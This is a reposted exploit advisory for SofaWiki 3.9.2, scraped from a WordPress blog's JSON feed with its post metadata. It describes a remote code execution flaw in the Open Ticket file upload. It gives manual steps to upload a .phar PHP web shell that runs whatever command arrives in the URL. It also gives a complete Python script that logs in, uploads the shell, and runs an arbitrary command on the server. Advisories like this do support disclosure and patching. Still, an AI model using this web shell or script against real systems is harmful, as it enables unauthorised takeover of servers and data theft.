# Exploit Title: SofaWiki 3.9.2 – Remote Code Execution (RCE) via Open Ticket File Upload
# Date: 10\/17\/2024
# Exploit Author: Chokri Hammedi
# Vendor Homepage: https:\/\/www.sofawiki.com
# Software Link: https:\/\/www.sofawiki.com\/site\/files\/snapshot.zip
# Version: 3.9.2
# Tested on: Windows XP<\/p>\n
Summary:
A remote code execution (RCE) vulnerability exists in the Open Ticket
feature of SofaWiki 3.9.2. An attacker can upload a malicious `.phar` file
that contains PHP code, bypassing `.htaccess` restrictions, and execute
arbitrary commands on the server.<\/p>\n
Exploit Steps:<\/p>\n
1. Login to SofaWiki.
2. Navigate to Special \u2192 Tickets \u2192 New Ticket:
http:\/\/localhost\/sofawiki\/index.php?name=special:tickets&ticketaction=new
3. Select your shell.phar file with this content:<\/p>\n
<?php system($_GET[‘cmd’]); ?><\/p>\n
4. Fill in the ticket title and click Open Ticket.
5. After the ticket is created, the page shows a link to the uploaded
shell.phar
6. access the webshell:
http:\/\/localhost\/sofawiki\/site\/files\/ticket-1-shell.phar?cmd=whoami<\/p>\n
————–<\/p>\n
# Exploit Title: SofaWiki 3.9.2 – RCE (authenticated) via Open Ticket File Upload Exploit
# Date: 10\/17\/2024
# Exploit Author: Chokri Hammedi
# Vendor Homepage: https:\/\/www.sofawiki.com
# Software Link: https:\/\/www.sofawiki.com\/site\/files\/snapshot.zip
# Version: 3.9.2
# Tested on: Windows XP<\/p>\n
import requests
import re
import sys<\/p>\n
class SofaWikiExploit:
def __init__(self, base_url, username, password):
self.base_url = base_url.rstrip(‘\/’)
self.username = username
self.password = password
self.session = requests.Session()<\/p>\n
def detect_login_name(self):
response =
self.session.get(f”{self.base_url}\/index.php?action=login”)
match = re.search(r’name=”name” value=”([^”]+)”‘, response.text)
if not match:
print(“\\033[91m\\033[1m[-] couldn’t find the ‘name’ field.
Exiting.\\033[0m”)
sys.exit(1)
return match.group(1)<\/p>\n
def login(self):
print(“\\033[93m[*] logging in…\\033[0m”)
login_name = self.detect_login_name()
data = {
“submitlogin”: “Login”,
“username”: self.username,
“pass”: self.password,
“name”: login_name,
“action”: “login”
}
response = self.session.post(f”{self.base_url}\/index.php”,
data=data)
if “Logout” in response.text:
print(“\\033[92m\\033[1m[+] Login successful!\\033[0m”)
return True
print(“\\033[91m[-] login failed.\\033[0m”)
return False<\/p>\n
def upload_shell(self):
print(“\\033[93m[*] uploading shell…\\033[0m”)
shell_content = ‘<?php system($_GET[“cmd”]); ?>’
files = {
‘uploadedfile’: (‘shell.phar’, shell_content,
‘application\/octet-stream’),
‘title’: (None, ‘Chokri Hammedi Exploit’),
‘text’: (None, ‘Chokri Hammedi RCE’),
‘assigned’: (None, ‘admin’),
‘priority’: (None, ‘1 high’),
‘submitopen’: (None, ‘Open Ticket’),
‘MAX_FILE_SIZE’: (None, ‘8000000’)
}
response =
self.session.post(f”{self.base_url}\/index.php?name=special:tickets”,
files=files)
match = re.search(r’File (.*?) uploaded’, response.text)
if not match:
print(“\\033[91m[-] shell upload failed.\\033[0m”)
sys.exit(1)
shell_url = f”{self.base_url}\/site\/files\/{match.group(1)}”
print(f”\\033[92m[+] shell uploaded: {shell_url}\\033[0m”)
return shell_url<\/p>\n
def execute_command(self, shell_url, cmd):
print(f”\\033[93m[*] running command: {cmd}\\033[0m”)
response = self.session.get(f”{shell_url}?cmd={cmd}”)
print(“\\033[92m[+] command output:\\033[0m”)
print(f”\\033[1m{response.text}\\033[0m”)<\/p>\n
if __name__ == “__main__”:
if len(sys.argv) != 5:
print(f”\\033[91musage: {sys.argv[0]} <target_url> <username>
<password> <cmd>\\033[0m”)
sys.exit(1)<\/p>\n
target_url, username, password, cmd = sys.argv[1:5]exploit = SofaWikiExploit(target_url, username, password)<\/p>\n
if exploit.login():
shell_url = exploit.upload_shell()
exploit.execute_command(shell_url, cmd)<\/p>\n","protected":false},"excerpt":{"rendered":"
# Exploit Title: SofaWiki 3.9.2 – Remote Code Execution (RCE) via Open Ticket File Upload# Date: 10\/17\/2024# Exploit Author: Chokri Hammedi# Vendor Homepage: https:\/\/www.sofawiki.com# Software Link: https:\/\/www.sofawiki.com\/site\/files\/snapshot.zip# Version: 3.9.2# Tested on: Windows XP Summary:A remote code execution (RCE) vulnerability exists in the Open Ticketfeature of SofaWiki 3.9.2. An attacker can upload a malicious `.phar` filethat …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59855","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59855","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59855"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59855\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59855"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59855"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59855"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}